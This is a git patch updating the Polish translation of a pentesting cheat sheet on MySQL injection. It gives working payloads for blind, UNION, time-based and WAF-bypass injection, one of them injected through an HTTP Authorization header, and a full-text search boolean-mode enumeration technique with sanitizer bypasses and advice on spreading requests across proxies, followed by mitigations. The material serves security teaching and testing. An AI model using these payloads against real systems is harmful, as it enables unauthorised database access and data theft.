From 84407a88ed39bd48689ba505d723ac16ae847754 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 1 Oct 2025 00:49:03 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-web/sql-injection/mysql-injection/README --- .../sql-injection/mysql-injection/README.md | 115 +++++++++++++----- 1 file changed, 82 insertions(+), 33 deletions(-) diff --git a/src/pentesting-web/sql-injection/mysql-injection/README.md b/src/pentesting-web/sql-injection/mysql-injection/README.md index 7ec651288..06ad65eb9 100644 --- a/src/pentesting-web/sql-injection/mysql-injection/README.md +++ b/src/pentesting-web/sql-injection/mysql-injection/README.md @@ -12,7 +12,7 @@ /*! MYSQL Special SQL */ /*!32302 10*/ Comment for MySQL version 3.23.02 ``` -## Ciekawe Funkcje +## Interesujące funkcje ### Potwierdź Mysql: ``` @@ -44,15 +44,15 @@ SELECT group_concat(if(strcmp(table_schema,database()),table_name,null)) SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END) strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep() ``` -## Wszystkie wstrzyknięcia +## Wszystkie injection ```sql SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/" ``` from [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/) -## Flow +## Przepływ -Pamiętaj, że w "nowoczesnych" wersjach **MySQL** możesz zastąpić "_**information_schema.tables**_" "_**mysql.innodb_table_stats**_**"** (To może być przydatne do obejścia WAF-ów). +Pamiętaj, że w "nowoczesnych" wersjach **MySQL** możesz użyć "_**information_schema.tables**_" zamiast "_**mysql.innodb_table_stats**_**"** (To może być przydatne do obejścia WAFs). ```sql SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables SELECT column_name FROM information_schema.columns WHERE table_name=""; #Get name of the columns of the table @@ -64,12 +64,12 @@ SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges - `group_concat()` - `Limit X,1` -### **Ślepy jeden po drugim** +### **Blind one by one** -- `substr(version(),X,1)='r'` lub `substring(version(),X,1)=0x70` lub `ascii(substr(version(),X,1))=112` +- `substr(version(),X,1)='r'` or `substring(version(),X,1)=0x70` or `ascii(substr(version(),X,1))=112` - `mid(version(),X,1)='5'` -### **Ślepe dodawanie** +### **Blind adding** - `LPAD(version(),1...lenght(version()),'1')='asd'...` - `RPAD(version(),1...lenght(version()),'1')='asd'...` @@ -77,7 +77,7 @@ SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges - `SELECT LEFT(version(),1...lenght(version()))='asd'...` - `SELECT INSTR('foobarbar', 'fo...')=1` -## Wykryj liczbę kolumn +## Wykrywanie liczby kolumn Używając prostego ORDER ``` @@ -101,83 +101,132 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+... ``` ## SSRF -**Dowiedz się tutaj o różnych opcjach, aby** [**wykorzystać atak Mysql injection do uzyskania SSRF**](mysql-ssrf.md)**.** +**Dowiedz się tutaj różnych opcji, aby** [**abuse a Mysql injection to obtain a SSRF**](mysql-ssrf.md)**.** -## WAF bypass tricks +## Sztuczki omijania WAF -### Wykonywanie zapytań za pomocą Prepared Statements +### Wykonywanie zapytań przez Prepared Statements -Gdy dozwolone są złożone zapytania, może być możliwe ominięcie WAF-ów, przypisując do zmiennej szesnastkową reprezentację zapytania, które chcesz wykonać (używając SET), a następnie używając instrukcji PREPARE i EXECUTE w MySQL, aby ostatecznie wykonać zapytanie. Coś takiego: +Gdy stacked queries są dozwolone, może być możliwe ominięcie WAFs przez przypisanie do zmiennej hexowej reprezentacji zapytania, które chcesz wykonać (używając SET), a następnie użycie instrukcji PREPARE i EXECUTE MySQL, aby ostatecznie wykonać zapytanie. Coś takiego: ``` 0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; # ``` -Dla uzyskania dodatkowych informacji proszę odwołać się do [tego wpisu na blogu](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce). +Więcej informacji znajdziesz w [this blog post](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce). -### Alternatywy dla information_schema +### Alternatywy dla Information_schema -Pamiętaj, że w "nowoczesnych" wersjach **MySQL** możesz zastąpić _**information_schema.tables**_ _**mysql.innodb_table_stats**_ lub _**sys.x$schema_flattened_keys**_ lub **sys.schema_table_statistics**. +Pamiętaj, że w „nowoczesnych” wersjach **MySQL** możesz zastąpić _**information_schema.tables**_ przez _**mysql.innodb_table_stats**_, _**sys.x$schema_flattened_keys**_ albo **sys.schema_table_statistics** -### MySQLinjection bez PRZECINKÓW +### MySQLinjection without COMMAS -Wybierz 2 kolumny bez użycia przecinka ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)): +Select 2 kolumny bez użycia żadnego przecinka ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)): ``` -1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1# ``` ### Pobieranie wartości bez nazwy kolumny -Jeśli w pewnym momencie znasz nazwę tabeli, ale nie znasz nazw kolumn w tabeli, możesz spróbować znaleźć, ile kolumn tam jest, wykonując coś takiego: +Jeśli w pewnym momencie znasz nazwę tabeli, ale nie znasz nazw kolumn w tej tabeli, możesz spróbować ustalić, ile kolumn się w niej znajduje, wykonując coś takiego: ```bash # When a True is returned, you have found the number of columns select (select "", "") = (SELECT * from demo limit 1); # 2columns select (select "", "", "") < (SELECT * from demo limit 1); # 3columns ``` -Zakładając, że są 2 kolumny (pierwsza to ID, a druga to flaga), możesz spróbować przeprowadzić brute force na zawartości flagi, próbując znak po znaku: +Zakładając, że są 2 kolumny (pierwsza to ID), a druga to flag, możesz spróbować bruteforce'ować zawartość flagi, próbując znak po znaku: ```bash # When True, you found the correct char and can start ruteforcing the next position select (select 1, 'flaf') = (SELECT * from demo limit 1); ``` Więcej informacji w [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952) -### Wstrzyknięcie bez SPACJI (sztuczka z komentarzem `/**/`) +### Injection without SPACES (`/**/` comment trick) -Niektóre aplikacje sanitizują lub analizują dane wejściowe użytkownika za pomocą funkcji takich jak `sscanf("%128s", buf)`, które **zatrzymują się na pierwszym znaku spacji**. -Ponieważ MySQL traktuje sekwencję `/**/` jako komentarz *i* jako białą przestrzeń, można jej użyć do całkowitego usunięcia normalnych spacji z ładunku, zachowując jednocześnie poprawność składniową zapytania. +Niektóre aplikacje oczyszczają lub parsują dane wejściowe użytkownika za pomocą funkcji takich jak `sscanf("%128s", buf)`, które **zatrzymują się na pierwszym znaku spacji**. +Ponieważ MySQL traktuje sekwencję `/**/` jako komentarz *i* jako białe znaki, można jej użyć do całkowitego usunięcia zwykłych spacji z payloadu, jednocześnie zachowując poprawność składniową zapytania. -Przykład wstrzyknięcia opartego na czasie, omijającego filtr spacji: +Przykład time-based blind injection omijającego filtr spacji: ```http GET /api/fabric/device/status HTTP/1.1 Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-' ``` -Które baza danych odbiera jako: +Które zostaje odebrane przez bazę danych jako: ```sql ' OR SLEEP(5)-- -' ``` -To jest szczególnie przydatne, gdy: +Jest to szczególnie przydatne, gdy: -* Kontrolowany bufor jest ograniczony rozmiarem (np. `%128s`) i spacje mogłyby przedwcześnie zakończyć dane wejściowe. -* Wstrzykiwanie przez nagłówki HTTP lub inne pola, gdzie normalne spacje są usuwane lub używane jako separatory. -* W połączeniu z prymitywami `INTO OUTFILE`, aby osiągnąć pełne RCE przed uwierzytelnieniem (zobacz sekcję MySQL File RCE). +* Kontrolowany bufor ma ograniczony rozmiar (np. `%128s`) i spacje zakończyłyby wejście przedwcześnie. +* Wstrzykiwanie przez nagłówki HTTP lub inne pola, gdzie zwykłe spacje są usuwane lub używane jako separatory. +* W połączeniu z prymitywami `INTO OUTFILE` w celu osiągnięcia pełnego pre-auth RCE (zobacz sekcję MySQL File RCE). --- ### Historia MySQL -Możesz zobaczyć inne wykonania w MySQL, przeglądając tabelę: **sys.x$statement_analysis** +Możesz zobaczyć inne wykonania wewnątrz MySQL, czytając tabelę: **sys.x$statement_analysis** -### Alternatywy wersji**s** +### Wersje alternatywne**s** ``` mysql> select @@innodb_version; mysql> select @@version; mysql> select version(); ``` -## Inne przewodniki dotyczące wstrzykiwania MYSQL +## MySQL Full-Text Search (FTS) BOOLEAN MODE operator abuse (WOR) + +To nie jest klasyczny SQL injection. Gdy deweloperzy przekazują dane użytkownika do `MATCH(col) AGAINST('...' IN BOOLEAN MODE)`, MySQL wykonuje bogaty zestaw operatorów wyszukiwania Boolean wewnątrz cytowanego ciągu. Wiele reguł WAF/SAST skupia się wyłącznie na przerwaniu cytatów i pomija tę powierzchnię. + +Key points: +- Operators are evaluated inside the quotes: `+` (musi zawierać), `-` (nie może zawierać), `*` (trailing wildcard), `"..."` (dokładna fraza), `()` (grupowanie), `<`/`>`/`~` (wagi). Zobacz dokumentację MySQL. +- To pozwala na testy obecności/nieobecności oraz testy prefiksowe bez wychodzenia z literału ciągu znaków, np. `AGAINST('+admin*' IN BOOLEAN MODE)` aby sprawdzić dowolny termin zaczynający się od `admin`. +- Przydatne do budowy orakli, takich jak „czy którykolwiek wiersz zawiera termin z prefiksem X?”, oraz do enumeracji ukrytych ciągów przez rozszerzanie prefiksów. + +Przykładowe zapytanie zbudowane przez backend: +```sql +SELECT tid, firstpost +FROM threads +WHERE MATCH(subject) AGAINST('+jack*' IN BOOLEAN MODE); +``` +Jeśli aplikacja zwraca różne odpowiedzi w zależności od tego, czy zestaw wyników jest pusty (np. przekierowanie vs. komunikat o błędzie), to zachowanie staje się oraklem boolowskim, który można wykorzystać do wyliczenia prywatnych danych, takich jak ukryte/usunięte tytuły. + +Sanitizer bypass patterns (generic): +- Boundary-trim preserving wildcard: jeśli backend przycina 1–2 końcowe znaki w każdym słowie za pomocą regexu takiego jak `(\b.{1,2})(\s)|(\b.{1,2}$)`, wyślij `prefix*ZZ`. Sanitizer przytnie `ZZ`, ale zostawi `*`, więc `prefix*` przetrwa. +- Early-break stripping: jeśli kod usuwa operatory w każdym słowie, ale przestaje przetwarzać, gdy znajdzie dowolny token o długości ≥ min length, wyślij dwa tokeny: pierwszy to śmieciowy token spełniający próg długości, drugi niesie operator payload. Na przykład: `&&&&& +jack*ZZ` → po czyszczeniu: `+&&&&& +jack*`. + +Payload template (URL-encoded): +``` +keywords=%26%26%26%26%26+%2B{FUZZ}*xD +``` +- `%26` to `&`, `%2B` to `+`. The trailing `xD` (or any two letters) is trimmed by the cleaner, preserving `{FUZZ}*`. +- Treat a redirect as “match” and an error page as “no match”. Don’t auto-follow redirects to keep the oracle observable. + +Przebieg enumeracji: +1) Zacznij od `{FUZZ} = a…z,0…9`, aby znaleźć dopasowania pierwszej litery za pomocą `+a*`, `+b*`, … +2) Dla każdego pozytywnego prefiksu rozgałęź: `a* → aa* / ab* / …`. Powtarzaj, aby odzyskać cały ciąg. +3) Rozdziel żądania (proxies, multiple accounts) jeśli aplikacja wymusza flood control. + +Dlaczego tytuły często leakują, a treści nie: +- Niektóre aplikacje wykonują checki widoczności dopiero po wstępnym MATCH na tytułach/subjects. Jeśli control-flow zależy od wyniku „any results?” przed filtrowaniem, występują existence leaks. + +Środki zaradcze: +- Jeśli nie potrzebujesz logiki Boolean, użyj `IN NATURAL LANGUAGE MODE` lub traktuj dane wejściowe użytkownika jako literal (escape/quote disables operators in other modes). +- Jeśli wymagany jest tryb Boolean, usuń lub zneutralizuj wszystkie Boolean operators (`+ - * " ( ) < > ~`) dla każdego tokenu (no early breaks) po tokenizacji. +- Zastosuj filtry widoczności/autoryzacji przed MATCH, albo ujednolić odpowiedzi (constant timing/status) gdy result set jest empty vs. non-empty. +- Przejrzyj analogiczne funkcje w innych DBMS: PostgreSQL `to_tsquery`/`websearch_to_tsquery`, SQL Server/Oracle/Db2 `CONTAINS` także parsują operatory wewnątrz quoted arguments. + +Uwagi: +- Prepared statements nie chronią przed semantycznym nadużyciem `REGEXP` lub search operators. Wejście takie jak `.*` pozostaje permissive regex nawet wewnątrz zacytowanego `REGEXP '.*'`. Używaj allow-lists lub explicit guards. + +## Inne MYSQL injection guides - [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) -## Odniesienia +## Źródła - [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) -- [Pre-auth SQLi to RCE w Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) +- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) +- [MySQL Full-Text Search – Boolean mode](https://dev.mysql.com/doc/refman/8.4/en/fulltext-boolean.html) +- [MySQL Full-Text Search – Overview](https://dev.mysql.com/doc/refman/8.4/en/fulltext-search.html) +- [MySQL REGEXP documentation](https://dev.mysql.com/doc/refman/8.4/en/regexp.html) +- [ReDisclosure: New technique for exploiting Full-Text Search in MySQL (myBB case study)](https://exploit.az/posts/wor/) {{#include ../../../banners/hacktricks-training.md}}